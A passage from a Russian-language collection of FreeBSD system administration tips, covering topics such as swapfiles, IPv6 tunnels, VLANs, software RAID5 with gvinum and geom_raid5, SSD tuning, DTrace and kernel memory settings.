       logger Turn off by user $LOGNAME
       exit 0 
    
    установить разрешения:
       chmod 750 /bin/poweroff-shell
    
    сменить группу и владельца:
       chown root /bin/poweroff-shell
       chgrp operator /bin/poweroff-shell
    
    добавить в файл /etc/shells строчку:
       /bin/poweroff-shell
    
    создать пользователя poweroff:
    c шелом /bin/poweroff-shell, домашней директорией /nonexistent, 
    сделать пользователя poweroff членом группы operator, с паролем по вкусу.
    
     
    ----* Использование нескольких источников звука в FreeBSD (доп. ссылка 1)   Автор: lavr  [комментарии]
     
    Для одновременного воспроизведения звука от разных приложений 
    нужно создать несколько виртуальных звуковых каналов:
    
       sysctl hw.snd.pcm0.vchans=4
       sysctl hw.snd.maxautovchans=4
    
    Если devfs не используется, в приложении нужно обращаться к устройствам /dev/dsp0.N
    , где N -  номер свободного канала.
    
    Для установки громкости звука по умолчанию в FreeBSD 5.3 в /boot/device.hints добавляем:
       hint.pcm.0.vol="100"
    
     
    ----* Объединение сетевых интерфейсов под FreeBSD 5.x (доп. ссылка 1)   Автор: Мишка  [комментарии]
     
    Превращение двух 100 мбит/c сетевых карт в одну виртуальную, с пропускной способностью 200 мбит/c .
    
      kldload /boot/kernel/ng_ether.ko
      kldload /boot/kernel/ng_one2many.ko
      ifconfig rl0 up
      ifconfig rl1 up
      ngctl mkpeer rl0: one2many upper one
      ngctl connect rl0: rl0:upper lower many0
      ngctl connect rl1: rl0:upper lower many1
      ngctl msg rl1: setpromisc 1
      ngctl msg rl1: setautosrc 0
      ngctl msg rl0:upper \
            setconfig "{ xmitAlg=1 failAlg=1 enabledLinks=[ 1 1 ] }"
      ifconfig rl0 inet 192.168.0.78 
    
     
    ----* Создание файла подкачки (swapfile) в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Для FreeBSD 4.x
       В /boot/loader.conf добавляем vn_load="YES" 
       cd /dev; sh MAKEDEV vn0
       dd if=/dev/zero of=/usr/swap0 bs=1024k count=64
       chmod 0600 /usr/swap0
       В /etc/rc.conf добавляем swapfile="/usr/swap0" 
       Для активации без перезагрузки: 
           vnconfig -e /dev/vn0b /usr/swap0 swap
    
    Для FreeBSD 5.x
       dd if=/dev/zero of=/usr/swap0 bs=1024k count=64
       chmod 0600 /usr/swap0
    В /etc/rc.conf добавляем swapfile="/usr/swap0"
       Для активации без перезагрузки:  
           mdconfig -a -t vnode -f /usr/swap0 -u 0 && swapon /dev/md0
    
     
    ----* Включение поддержки IPv6 в FreeBSD (доп. ссылка 1)   [комментарии]
     
    Ядро:
      options         INET6           # IPv6 communications protocols
      pseudo-device   gif             # IPv6 and IPv4 tunneling
      pseudo-device   faith   1       # IPv6-to-IPv4 relaying (translation)
    
    Регистрация и получение IP (http://www.freenet6.net или http://www.tunnelbroker.net)
      cd /usr/ports/net/freenet6/
      # make install clean
      # /usr/local/etc/rc.d/freenet6.sh start
    
    Подъем IPv6 вручную
      ifconfig gif0 create 
      ifconfig gif0 tunnel your-local-ipv4  remote-ipv4-of-your-broker
      ifconfig gif0 inet6  ipv6-given-by-the-broker ipv6-of-your-broker   prefixlen 128
      route -n add -inet6 default ipv6-of-your-broker
    
    /etc/rc.conf:
      ipv6_enable="YES"
      ipv6_defaultrouter="brokeripv6"
      ipv6_gateway_enable="YES"
      ipv6_network_interfaces="de0 gif0"
      ipv6_ifconfig_gif0="brokeripv6 prefixlen 128"
      ipv6_ifconfig_de0="youripv6::1 prefixlen 64"
      ipv6_static_routes="global"
      ipv6_route_global="2000:: -prefixlen 3 youripv6"
      gif_interfaces="gif0"
      gifconfig_gif0="youripv4 brokeripv4"
    
    Фаервол (Ipfilter):
      /etc/ipf6.rules
         pass in all
         pass out all
      ipf -6 -f /etc/ipf6.rules
    
     
    ----* Звук в FreeBSD 4.9 на nForce2 Ultra 400   Автор: axbat  [комментарии]
     
    Для работы со встроенным кодеком не надо загружать драйверов с сайта Avance Logic, достаточно:
    - в boot/loader.conf в разделе Sound modules включить загрузку 
        snd_ich_load="YES"		# Intel ICH 
    после этого убедиться, что все определилось: 
        dmesg | grep pcm0
    
     
    ----* Как включить поддержку ACL в UFS2 FreeBSD 5 (доп. ссылка 1)   [комментарии]
     
    В single mode: "/sbin/tunefs -a enable /fs"
    Пересобираем ядро с "options UFS_ACL"
      getfacl - просмотр ACL
      setfacl - установка ACL
    Например: setfacl -m user:nobody:rw-,group:wheel:rw- acl-test
    
     
    ----* Как в FreeBSD добавить/убрать алиас для сетевого интерфейса   [комментарии]
     
    Добавить: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 alias
    Убрать: ifconfig fxp0 inet 192.168.1.1 netmask 255.255.255.255 -alias
    
     
    ----* Как подключить USB Flash накопитель в FreeBSD (доп. ссылка 1)   [комментарии]
     
    man umass
    Конфигурация ядра (FreeBSD 4.8 можно не пересобирать):
      device usb
      device ohci (OR device uhci)
      device umass
      device scbus
      device da
      device pass
    В логе смотрим подобное сообщение "da0 at umass-sim0 bus 0 target 0 lun 0"
    Монтируем:
      mount -t msdos /dev/da0s1 /mnt
    
     
    ----* Установка дисковых квот в FreeBSD (доп. ссылка 1)   Автор: Igor  [обсудить]
     
    - в конфигурации ядра включаем "options QUOTA" и пересобираем ядро.
    - в /etc/rc.conf прописываем enable_quotas="YES" и check_quotas="YES"
    - указываем в fstab файловые системы, для которых будет включаться
    поддержка квот, например:
              /dev/da0s1e /home ufs rw,userquota  2  2
              /dev/ad0s1h  /new_home ufs  rw,groupquota 2 2
    - устанавливаем квоты для пользователей при помощи edquota, напр. "edquota user1"
    - если нужно установить одинаковые квоты для нескольких пользователей как у user1:
          edquota -p user1 user2 user3 user4 user5
    
     
    ----* Использование в FreeBSD IEEE 802.1Q VLAN'ов совместно с Cisco Catalyst Switch   [комментарии]
     
    В конфигурации FreeBSD ядра:
        pseudo-device vlan 20 # VLAN support (для динамической генерации в новых версиях - 20 можно не писать)
    Поднимаем VLAN вручную (где 28 - vlan id на свиче, fxp0 - интерфейс воткнутый в свитч):
        ifconfig vlan0 inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0
    Прописываем в /etc/rc.conf:
      cloned_interfaces="vlan0"
      ifconfig_vlan0="inet 192.168.1.3 netmask 255.255.255.0 vlan 28 vlandev fxp0"
    На коммутаторе Cisco Catalyst:
        interface FastEthernet0/1  # линк к FreeBSD
            switchport mode trunk
        interface FastEthernet0/2
            switchport access vlan 28
    
     
    ----* Как примонтировать iso-образ CD диска в FreeBSD   [комментарии]
     
    В /boot/loader.conf добавляем vn_load="YES" или подгружаем руками kldload vn.ko
    Монтируем:
        vnconfig /dev/vn0c /home/user/cdrom.iso
        mount -t cd9660 /dev/vn0c /mnt
    Размонтируем:
        umount /mnt
        vnconfig -u /dev/vn0c
    
     
    ----* Как разрешить в FreeBSD монтировать CD-ROM обычным пользователям (доп. ссылка 1)   [комментарии]
     
    /etc/sysctl.conf:
       vfs.usermount=1
       vfs.generic.usermount=1
    mount -t cd9660  /dev/acd0c /home/user/cdrom
    chmod 644 /dev/acd0c
    
     
    ----* Как примонтировать в FreeBSD CD-ROM с русифицированной FS, чтобы русские буквы не выглядели как вопросительные знаки.   Автор: lavr  [комментарии]
     
    cd /usr/ports/sysutils/cd9660_unicode
    make && make install
    грузить модуль через
       kldload /lib/cd9660_unicode/cd9660_[unicode|koi8-r|iso-8859-5|cp866].ko
    
     
    ----* Как включить поддержку SMBFS в FreeBSD и примонтировать удаленный windows ресурс.   [комментарии]
     
    пересобираем ядро:
      options NETSMB	      #SMB/CIFS requester
      options NETSMBCRYPTO  #encrypted password support for SMB
      options LIBMCHAIN     #mbuf management library
      options LIBICONV
      options SMBFS
    Коннектимся к удаленному SMB серверу:
       smbutil login //jwarner@smbserver1
    Монтируем русурс:
       mount_smbfs -N //jwarner@smbserver1/sharename /backup
    Отсоединяемся от SMB сервера:
       smbutil logout //jwarner@smbserver1
    
     
    ----* Как завести нового пользователя в FreeBSD в автономном режиме ? (доп. ссылка 1)   [обсудить]
     
    Нужно использовать не команду adduser, а команду pw (man pw, pw useradd help). Например: 
      pw useradd -n логин -c 'комментарий, фио' -d /home/логин -m -s /bin/true
    
     
    ----* Что иногда следует избыточно создать в '/dev' для FreeBSD (доп. ссылка 1)   Автор: lavr  [обсудить]
     
    MAKEDEV - ad0 ad1 ad2 ad3 ... - default=0,...,3 остальное+slices руками
    MAKEDEV ptyN - псевдо-терминалы, default==32
    MAKEDEV vtyN - виртуальные терминалы через syscons, defaul==12
    MAKEDEV iic  - создание устройств для I2C 
    MAKEDEV smb  - создание устройств для SMBus шины
    MAKEDEV snd  - создание устройств для SoundBlaster
    
     
    ----* Как в FreeBSD при загрузке в single read-olny переключится в RW режим.   [обсудить]
     
    mount -u -w /
    
     
    ----* Какие программы в FreeBSD занимаются переиндексацией системных баз   [комментарии]
     
    /bin/sh MAKEDEV all  (dev_mkdb)
    /usr/bin/newaliases
    /usr/bin/cap_mkdb /etc/login.conf
    /usr/sbin/pwd_mkdb -p /etc/master.passwd
    
     
    ----* Как на сервере обеспечить подключение PS/2 клавиатуры, без перезагрузки   [комментарии]
     
    Для того чтобы на загруженный без PS/2 клавиатуры сервер, можно было в любой
    момент подключить клавиатуру
    без перезагрузки, нужно в конфигурации ядра заменить строку:
       device          atkbd0  at atkbdc? irq 1 flags 0x1
    на
       device          atkbd0  at atkbdc? irq 1
    Т.е. убрать 'flags 0x1' и тем самым разрешить загружать драйвер клавиатуры
     при отключенной в момент загрузки клавиатуре.
    
     
    ----* Как в FreeBSD более подробно ознакомится с поддержкой аппаратного устройства   [обсудить]
     
    man 4 имя_устройства.
    примеры: man 4 fxp; man 4 rl; man 4 ed; man 4 amr; man 4 pcm; man 4 cd; man 4 tty; man 4 sio;
    
     
    ----* Как переключить сетевую карту в FreeBSD из full-duplex в half-duplex   [комментарии]
     
    Текущий режим работы сетевой карты можно посмотреть выполнив:
    # ifconfig fxp0 
    Перевести сетевую карту в режим работы 10baseT/UTP half-duplex:
    # ifconfig fxp0 media 10baseT/UTP mediaopt half-duplex
    Автоматически выбрать режим:
    # ifconfig fxp0 media autoselect
    Подробнее: man 4 ed, man 4 rl, man 4 fxp
    
     
    ----* Настройка программного RAID5 во FreeBSD   Автор: McSeem  [комментарии]
     
    Понадобилось организовать надежное хранение большого объёма данных. По сей день
    использовалось софтовое зеркало, но существующего объёма уже не хватало и
    решено было соорудить RAID5 из трёх дисков по терабайту. В моём случае
    избыточность составит 1/3 против 1/2 (зеркало).
    
    Судя по тому, что мне удалось узнать FreeBSD поддерживает организацию RAID5
    двумя менеджерами дискового пространства: VINUM и GEOM.
    
    Попробуем каждый из них:
    
    I. VINUM.
    
    Начиная с FreeBSD5 VINUM была переписана для совместимости с архитектурой GEOM,
    и теперь новая подсистема называется GVINUM, а модуль ядра сменил название с
    vinum.ko на geom_vinum.ko.
    
    Создадим директорию к которой будем монтировать наш RAID5:
    
       snap# mkdir /raid5
    
    Теперь создаём конфигурационный файл нашего массива(расположить его можно где угодно):
    
       snap# touch /usr/local/gvinum.conf
    
    После этого непосредственно конфигурируем наш массив(как я говорил, в моем
    случае будет 3 диска по терабайту):
    
       snap# vi /usr/local/gvinum.conf
    
    Пишем в файле следующее:
    
       drive raid51 device /dev/ad5
       drive raid52 device /dev/ad6
       drive raid53 device /dev/ad7
       volume raid5
       plex org raid5 256k
       sd len 1t drive raid51
       sd len 1t drive raid52
       sd len 1t drive raid53
    
    Где:
    
    - drive raid51/raid52/raid53 - это просто псевдонимы физических дисков (можно
    придумать любое). Используются чисто для удобства. С этими псевдонимами мы
    будем работать во всём файле и поменяв физический диск, нам не придётся менять
    его название во всём конфигурационном файле, а достаточно лишь изменить в описании.
    
    - volume raid5 - это виртуальный диск (можно придумать тоже любое название).
    Система его будет видеть как 1 физическое устройство, хотя в моем случае это
    массив из 3х дисков с полезным объёмом равным ~2м терабайтам. Отображаться
    будет как /dev/gvinum/raid5 (Назовёте volume terminator, отображаться будет /dev/gvinum/terminator).
    
    - plex - это набор, который предоставляет полное адресное пространство тома.
    Нам нобходим набор RAID5, поэтому организуем набор RAID5: org raid5, причем
    организовываем со страйпом в 256кВ (судя документации это самый оптимальный
    размер полосы).
    
    - sd - это поддиски(SubDisk), VINUM может организовывать массивы не только из
    отдельных физических дисков, но и используя разделы UNIX. Я же использую 3
    отдельных физических устройства, каждый по 1 терабайту, поэтому указываем
    размер: len 1t.
    
    На этом описание конфигурационного файла закончилось. Теперь создаём сам RAID массив:
    
       snap# gvinum create /usr/local/gvinum.conf
    
    Создаётся устройство /dev/gvinum/raid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/gvinum/raid5
    
    Стандартное ядро FreeBSD(GENERIC) не включает Vinum. Можно пересобрать ядро с
    поддержкой Vinum, но этого делать не рекомендуют. Обычный способ активации
    Vinum - загрузка модуля для ядра (kld). Так и поступим, только использовать
    команду kldload не будем, да и нет необходимости, при первом вызове gvinum
    проверит наличие поддержки Vinum в ядре и при необходимости загрузит модуль
    автоматически. Я сделаю так чтобы модуль Vinum был доступен на этапе загрузки,
    для этого делаем так:
    
       snap# echo geom_vinum_load="YES" >> /boot/loader.conf
    
    И последний момент, нужно смонтировать наш массив (Точку монтирования мы
    указываем /raid5, ту, что создали изначально):
    
       snap# echo /dev/gvinum/raid5 /raid5 ufs rw 2 2 >> /etc/fstab
    
    Перегружаемся и всё должно работать.
    
    :( У меня сервер уходит в Fatal trap 12(Kernel panic) и перегружается до
    бесконечности. Ничего страшного. Выключаем, ждём 5 минут и включаем, если не
    получится, выключаем, ждём ещё 5 минут и включаем, в конце концов включается
    всё норм! Называется размечтался... 1t = 1024G, смотрю свой диск... а там всего
    953869m... В общем нужно в конфиге уменьшить размер - len! И после этого всё
    замечательно работает!!!
    
    Можно выводить диски из массива и т.д., но как-то долго... проще сбросить конфиг:
    
       snap# gvinum resetconfig
    
    На что, он нас спрашивает, вы мол в своё уме? подтвердите что вы это делаете
    осмысленно! И просит ввести текст "NO FUTURE", ну чтож, вводим:
    
       Enter text -> NO FUTURE
    
    Я поменял в конфиге размеры дисков на:
    
       len 953869m
    
    После этого, повторяем команды:
    
       snap# gvinum create /usr/local/gvinum.conf
       snap# newfs /dev/gvinum/raid5
    
    Перегружаемся ещё раз...И вуаля!!! Всё работает!!!
    
    
    II. GEOM:
    
    Пробуем второй вариант. GEOM RAID5 в FreeBSD не входит, поэтому придётся
    скачивать с сайта. На сайте видим, что есть 3 версии это:
    
    - Компромисс скорости и использования памяти: geom_raid5
    - Самая стабильная, но и самая медленная: geom_raid5 TNG
    - Улучшенная скорость, но и памяти соответственно потребляет больше: geom_raid5 PP
    
    Все версии доступны тут:
    
    geom_raid5: http://wgboome.homepage.t-online.de./geom_raid5.tbz
    geom_raid5 TNG: http://wgboome.homepage.t-online.de./geom_raid5-eff.tbz
    geom_raid5 PP: http://wgboome.homepage.t-online.de./geom_raid5-pp.tbz
    
    Я выбрал "geom_raid5", поэтому переходим в папку с источниками:
    
       snap# cd /usr/src
    
    И скачиваем архив:
    
       snap# wget http://wgboome.homepage.t-online.de./geom_raid5.tbz
    
    Архив необходимо распаковать. Действуем:
    
       snap# tar -xf geom_raid5.tbz
    
    Архив распакован,переходим к процессу инсталляции. Первым делом необходимо
    собрать модуль. Переходим в папку с конфигом:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
    
    И запускаем компиляцию:
    
       snap# make
    
    упс... :( у меня вылезли ошибки...читаем...пробуем исправить... Для этого делаем следующее:
    
       snap# cd /usr/src/sys/geom/raid5
    
    И правим в файле g_raid5.c (если у вас ошибки будут такие же как и у меня) кому
    каким редактором удобнее:
    
    1. Ошибка: в строке  2015 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2015 kthread_exit(0); на kthread_exit();
    2. Ошибка: в строке 2444 в функции "kthread_exit" много аргументов
           исправляем: меняем в строке 2444 kthread_exit(0); на kthread_exit();
    3. Ошибка: в строке 2635 нету описания функции "kthread_create"
           исправляем: меняем в строке 2635 kthread_create (остальное не трогаем), на kproc_create
    4. Ошибка: в строке 2639 нету описания функции "kthread_create"
           исправляем: меняем в строке 2639 kthread_create (остальное не трогаем), на kproc_create
    Примечание: Ошибка 4 другая, и ссылается на строку 2635, но изменив строку 2635
    необходимо изменить и 2639, так что делаем так.
    
    После того как исправили,снова делаем компиляцию модуля:
    
       snap# cd /usr/src/sys/modules/geom/geom_raid5
       snap# make
    
    Появляется нужный нам файл: "*geom_raid5.ko". Его необходимо скопировать ко всем модулям. Копируем:
    
       snap# cp geom_raid5.ko /boot/kernel/geom_raid5.ko
    
    Теперь устанавливаем сам geom_raid5:
    
       snap# cd /usr/src/sbin/geom/class/raid5
       snap# make && make install && make clean
    
    Собственно после инсталляции GEOM_RAID5 собираем RAID массив:
    
       snap# graid5 label -v -s 256k graid5 /dev/da0 /dev/da1 /dev/da2
    
    И создаём устройство:
    
       snap# graid5 load
    
    Создаётся устройство /dev/raid5/graid5. На нём необходимо создать файловую систему. Создаём:
    
       snap# newfs /dev/raid5/graid5
     
    Создаём точку монтирования:
    
       snap# mkdir /graid5
    
    Добавляем запись в /etc/fstab, для автоматического монтирования нашего массива
    RAID5 при загрузке системы:
    
       snap# echo /dev/raid5/graid5 /graid5 ufs rw 2 2 >> /etc/fstab
    
    Не забываем добавить загрузку модуля при старте системы:
    
       snap# echo 'geom_raid5_load="YES" >> /boot/loader.conf
    
    P.S. В конечном итоге остановил свой выбор на GVINUM. В основном из-за того,
    что он входит в состав FreeBSD, а разработчики, раз решили что GEOM_RAID5 ещё
    рано(или уже поздно) входить в релиз, то значит так и есть. Протестировал
    GVINUM на крах (отключением питания и отсоединением шлейфа от одного из дисков
    в режимах чтение\запись, после этого записывал\удалял данные с битого массива,
    перегружался, добавлял снова диск, восстанавливал всё работает замечательно!
    ...но это уже тема для другой статьи...)
    
     
    ----* Как правильно прописать сменные накопители в /etc/fstab для FreeBSD.   Автор: Insane  [комментарии]
     
    /dev/acd0c /mnt/cdrom cd9660 ro,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/fd0 /mnt/flop msdos rw,noauto,-W=koi2dos,
    -L=ru_RU.KOI8-R 0 0
    /dev/ad0s2 /mnt/store msdos rw,-W=koi2dos,
    -L=ru_RU.KOI8-R,noexec,nosuid,nosymfollow,
    -u0,-g0,-m 660  0 0
    Еще для удобства можно создать симлинки типа:
    ln -sf /dev/acd0c /dev/cdrom
    ln -sf /dev/acd1c /dev/cdrom1 (если есть второй cdrom)
    ln -sf /dev/fd0 /dev/flop
    прописать изменения в fstab,
    и монтировать диски командой mount /dev/cdrom а не
    mount /dev/acd0c =).
    
     

       Сис. информация, оптимизация и тюнинг FreeBSD

    ----* Оптимизация использования SSD-накопителя во FreeBSD 9.0   Автор: ixes  [комментарии]
     
    Ниже собраны рекомендации по оптимизации работы SSD-накопителя во FreeBSD 9.0,
    которые удалось найти в Сети.
    
    Процесс установки и оптимизации под 4k блоки со сдвигом кратный 8, описывать не
    буду так как FreeBSD 9.0 cам все это делает (если установка выполнялась в
    автоматическом режиме).
    
    После установки необходимо включить поддержку TRIM, для этого следует выполнить
    (диск должен быть отмонтирован  - загрузись с LiveCD):
    
       tunefs -t enable /dev/adaxxx
    
    Отключение журналирования (может быть чревато более длительным временем
    проверки целостности ФС, если некорректно завершить работу, нажать reset, или
    если свет отключат  - пользуйтесь бесперебойником):
    
       tunefs -J disable /dev/adaxxx
       tunefs -n disable /dev/adaxxx
       tunefs -j disable /dev/adaxxx
    
    Посмотреть состояние флагов раздела можно командой:
    
       tunefs -p /dev/adaxxx
    
    Отключение лишних обновлений метаданных (noatime) и использование tmpfs для
    временных разделов и логов в /etc/fstab:
    
       /dev/adaxxx        /        ufs    rw,noatime    1    1
       tmpfs            /tmp        tmpfs    rw        0    0
       tmpfs            /var/run    tmpfs    rw        0    0
       tmpfs            /var/spool    tmpfs    rw        0    0
       tmpfs            /var/log    tmpfs    rw        0    0
    
    Перед добавлением убедитесь, что /var/spool, /var/log и /var/run  не содержит
    того, что может потребоваться между перезагрузками.
    
    Вариант настройки через /etc/rc.conf:
    
       tmpmfs="YES"
       tmpsize="20m"
       tmpmfs_flags="-S"
       varmfs="YES"
       varsize="32m"
       varmfs_flags="-S"
       populate_var="YES"
    
    Размер  виртуальной файловой системы (tmpfs) писать в соответствии с свободным
    ОЗУ (в нашем примере, 20 мегабайт для /tmp и 32 мегабайт для /var). Настройки
    нужно сделать или в /etc/fstab или в /etc/rc.conf.
    
     
    ----* Активация поддержки DTrace во FreeBSD (доп. ссылка 1) (доп. ссылка 2)   [обсудить]
     
    Краткое руководство по включению системы динамической трассировки DTrace во FreeBSD:
    
    1. Включаем в ядре  настройки KDTRACE_HOOKS, DDB_CTF и KDTRACE_FRAME (для amd64):
    
          options KDTRACE_HOOKS        # включение DTrace-хуков (для всех архитектур)
          options DDB_CTF              # включении поддержки загрузки CTF-данных в ELF-компоновщике (для всех архитектур)
          options KDTRACE_FRAME        # (для архитектуры amd64)
          makeoptions WITH_CTF=1
    
    2. Пересобираем ядро (параметр WITH_CTF=1 должен быть прописан в файл
    конфигурации ядра, указание в  make.conf или src.conf не поддерживается.
    
       make buildkernel KERNCONF=DTRACE
    
    3. Устанавливаем новое ядро и перезагружаемся:
    
       make installkernel KERNCONF=DTRACE
       shutdown -r NOW
    
    4. Загружаем модули ядра, необходимые для работы DTrace:
    
       kldload dtraceall
    
    5. Убеждаемся, что нужные DTrace-хуки доступны (запускать команды для работы с
    DTrace нужно от пользователя root):
    
       dtrace -l | head
    
    6. Правим make.conf для поддержки Dtrace на уровне пользователя:
    
       STRIP=
       CFLAGS+=-fno-omit-frame-pointer
    
    7. Пересобираем пользовательское окружение, выполнив make buildworld и make install world
    
    Хорошие подборки DTrace-скриптов можно найти на страницах:
    * http://hub.opensolaris.org/bin/view/Community+Group+dtrace/dtracetoolkit
    * http://www.solarisinternals.com/si/dtrace/
    * http://www.brendangregg.com/dtrace.html
    
    Запускаем скрипты так:
       dtrace -s скрипт.d
    
     
    ----* Советы по уменьшению энергопотребления ноутбука с FreeBSD (доп. ссылка 1)   [комментарии]
     
    1. CPU
    Включение демона powerd позволяет менять частоту/вольтаж CPU в зависимости от нагрузки.
    
    Отключаем "p4tcc" и "throttling" в пользу более эффективного EIST. В /boot/loader.conf:
    
       hint.p4tcc.0.disabled=1
       hint.acpi_throttle.0.disabled=1
    
    Изменяем метод поведения CPU в моменты неактивности с C1 (по умолчанию) на C2, 
    который поддерживает отключение всех основных таймеров CPU. В /etc/rc.conf добавляем:
    
       performance_cx_lowest="C2"
       economy_cx_lowest="C2"
    
    Уменьшаем частоту генерации прерываний таймера, в loader.conf:
    
       kern.hz=100
    
    
    Экономия 5 Вт.
    
    2. PCI 
    
    Для отключения питания не используемых PCI устройств (например, FireWire и USB
    контроллер) достаточно пересобрать ядро
    без драйверов ненужных устройств и указать в loader.conf:
    
       hw.pci.do_power_nodriver=3
    
    Когда в устройстве возникнет необходимость, достаточно подгрузить драйвер как модуль ядра.
    
    Экономия 3 Вт.
    
    3. WiFi и Bluetooth
    
    Аппаратное отключение  WiFi и Bluetooth через обычно предусмотренную на
    ноутбуке комбинацию клавиш экономит около 2 Вт.
    
    4. HDA модем
    
    Физическое удаление платы HDA-модема привело к экономии 1 Вт.
    
    5. HDA звук
    Для уменьшения числа прерываний для звуковой карты в loader.conf прописываем:
    
       hint.pcm.0.buffersize=65536
       hint.pcm.1.buffersize=65536
       hw.snd.feeder_buffersize=65536
       hw.snd.latency=7
    
    6. Жесткий диск
    
    Для хранения временных файлов, чтобы не дергать лишний раз НЖМД, можно использовать tmpfs.
    Отключаем лишние периодически просыпающиеся сервисы, отключаем syslogd,
    используем легковесный оконный
    менеджер (например, icewm);
    
    Включение энергосберегающего spin-down режима работы 2.5" Hitachi SATA HDD
    привело к экономии 1 Вт,
    полное отключение - 2 Вт.
    
    Итог:
    
    Вышеописанные рекомендации + несколько дополнений внесенных в ветку FreebSD 8.0
    (подробнее см. ссылку внизу
    на оригинальное сообщение) позволили добиться следующий результатов:
    
       acpiconf -i0
    
    было: 2:24 часа (1621 mA)
    стало: 4:47 часа (826 mA)
    
    Для сравнения, оптимальные настройки Windows XP позволили продлить работу до 3:20 часов.
    
     
    ----* Решение проблемы с Nvidia драйверами во FreeBSD (доп. ссылка 1)   Автор: Nirnroot  [комментарии]
     
    Проблема: 
    
    после установки проприентарных драйверов Nvidia на FreeBSD X.Org зависает по непонятным причинам, 
    либо кидает систему в перезагрузку.
    
    Когда возникает: 
    
    экспериментальным путем было выведено, что если совокупная доступная оперативная память 
    системы + память видеокарты больше ~3.300 Мб (конкретно - предел оперативной памяти,
    определяемый стандартным ядром FreeBSD x86).
    
    Решение: 
    
    добавить в /boot/loader.conf строчку:
    
       machdep.disable_mtrrs=1
    
     
    ----* Решение проблемы слишком частой парковки головок на ноутбуке под FreeBSD (доп. ссылка 1)   Автор: Михаил Иванов  [комментарии]
     
    На некоторых ноутбуках (или с некоторыми винчестерами) операционная система использует 
    слишком агрессивный режим экономии электроэнергии. В этом режиме происходит очень 
    частая парковка головок винчестера, буквально каждые несколько секунд. Винчестеры имеют 
    ограничение на количество парковок  и слишком частая парковка может
    преждевременно исчерпать этот ресурс.
    
    Для диагностирования проблемы понадобится утилита smartctl (sysutils/smartmontools в портах).
    
    Выполните команду:
    
        smartctl -A /dev/ad4 | grep Load_Cycle
    
    (измените ad4 на название вашего винчестера)
    
    Результатом выполнения будет примерно следующее:
    
       193 Load_Cycle_Count 0x0012 097 097 000 Old_age Always - 37606
    
    Последнее число в этой строке - это количество парковок. Выполните эту команду несколько раз 
    с перерывом в несколько секунд. Если число растет - значит, проблема на лицо.
    
    Во FreeBSD эта проблема решается с помощью утилиты ataidle (sysutils/ataidle в портах).
    
    Выполните команду:
    
       ataidle -P 254 /dev/ad4
    
    (измените ad4 на название вашего винчестера)
    
    Параметр -P управляет питанием винчестера. Значение 254 означает режим
    максимальной производительности.
    В этом режиме энергия не экономится и головки не паркуются. Желающие могут
    посмотреть значения других режимов в man ataidle.
    
    Чтобы эта команда выполнялась автоматически при загрузке, нужно добавить
    следующие строки в файл /etc/rc.conf:
    
       ataidle_enable="YES"
       ataidle_devices="ad4"
       ataidle_ad4="-P 254"
    
     
    ----* Увеличение скорости пересборки FreeBSD при помощи CCACHE  (доп. ссылка 1)   [комментарии]
     
    Ccache позволяет увеличить скорость повторной сборки программы за счет
    кэширования промежуточных данных.
    
    Во FreeBSD ccache можно установить из портов:
    
       cd /usr/ports/devel/ccache && make install clean
    
    Далее включаем ccache при сборке системы, в /etc/make.conf добавляем:
    
       .if !defined(NO_CACHE)
         CC=  /usr/local/libexec/ccache/world-cc
         CCX= /usr/local/libexec/ccache/world-c++
       .endif
    
       .if ${.CURDIR:M*/ports/devel/ccache}
         NO_CCACHE= yes
       .endif
    
    Конфигурируем ccache через переменные окружения, в .cshrc добавляем:
    
       setenv PATH /usr/local/libexec/ccache:$PATH
       setenv CCACHE_PATH /usr/bin:/usr/local/bin
       setenv CCACHE_DIR /var/tmp/ccache
       setenv CCACHE_LOGFILE /var/log/ccache.log
    
       if ( -x /usr/local/bin/ccache ) then
         /usr/local/bin/ccache -M 512m > /dev/null
       endif
    
    Через опцию "-M" мы определили максимальный размер кэша (по умолчанию 1Гб),
    кэш будет размещен в /var/tmp/ccache (по умолчанию в /root/.ccache)
    
    Состояние кэша можно посмотреть командой:
    
       ccache -s
    
    При повторном выполнении make buildworld, время сборки с ccache  уменьшилось в 4 раза.
    Для еще большего увеличения скорости кэш рекомендуется расширить до 4 Гб.
    
    Для индивидуальной отмены кэширования при сборке порта можно использовать:
    
       make NO_CACHE=yes install clean
    
     
    ----* Параметры распределение памяти для ядра FreeBSD (доп. ссылка 1)   Автор: Yar Tikhiy  [обсудить]
     
    Такой вопрос обычно возникает вслед за желанием оптимизировать распределение памяти в ядре.
    
    Для начала стоит понять, как в общем выглядит виртуальное адресное пространство
    FreeBSD. В его нижней части расположен текущий процесс,
    а верхнюю всегда занимает ядро. Отрезок виртуального адресного
    пространства, занятый ядром, -- kernel virtual memory (KVM) он же kernel
    virtual address space (KVA) -- ограничен адресами KERNBASE снизу и 
    VM_MAX_KERNEL_ADDRESS сверху. Эти величины меняются только от
    платформы к платформе, а vm.kvm_size возвращает их разность:
    
       vm.kvm_size = VM_MAX_KERNEL_ADDRESS - KERNBASE
    
    На живой машине ядро фиксирует конец используемой части KVM в
    переменной ядра kernel_vm_end. Отрезок от kernel_vm_end до
    VM_MAX_KERNEL_ADDRESS и есть свободная часть KVM:
    
       vm.kvm_free = VM_MAX_KERNEL_ADDRESS - kernel_vm_end
    
    Очевидно, что переменные vm.kvm_size и vm.kvm_free чисто
    информационные, настраивать их нельзя.
    
    В KVM есть участок, который ядро использует для динамического
    распределения памяти посредством malloc(9) и zone(9). Длина этого
    участка вычисляется при загрузке системы по формуле:
    
       vm.kmem_size = min(max(max(VM_KMEM_SIZE, Physical_memory / 
           VM_KMEM_SIZE_SCALE), VM_KMEM_SIZE_MIN), VM_KMEM_SIZE_MAX)
    
    Выглядит жутковато, но суть простая: vm.kmem_size_{min,max} задает
    диапазон для автонастройки, которая сводится к выбору большего из
    VM_KMEM_SIZE (это #define) и ОЗУ / vm.kmem_size_scale.
    
    Также можно жестко указать vm.kmem_size из loader.conf. Наконец, при
    любых настройках kmem_size не может быть более двух размеров ОЗУ.
    
    Обратите внимание, что kmem -- это участок виртуального адресного
    пространства, а не физической памяти. Именно поэтому ядро может
    упасть в панику "kmem_map too small", хотя ОЗУ еще в избытке, если
    какая-то из подсистем ядра пытается выделить слишком много памяти
    для своих нужд. Типичный пример этого -- виртуальный диск, созданный с
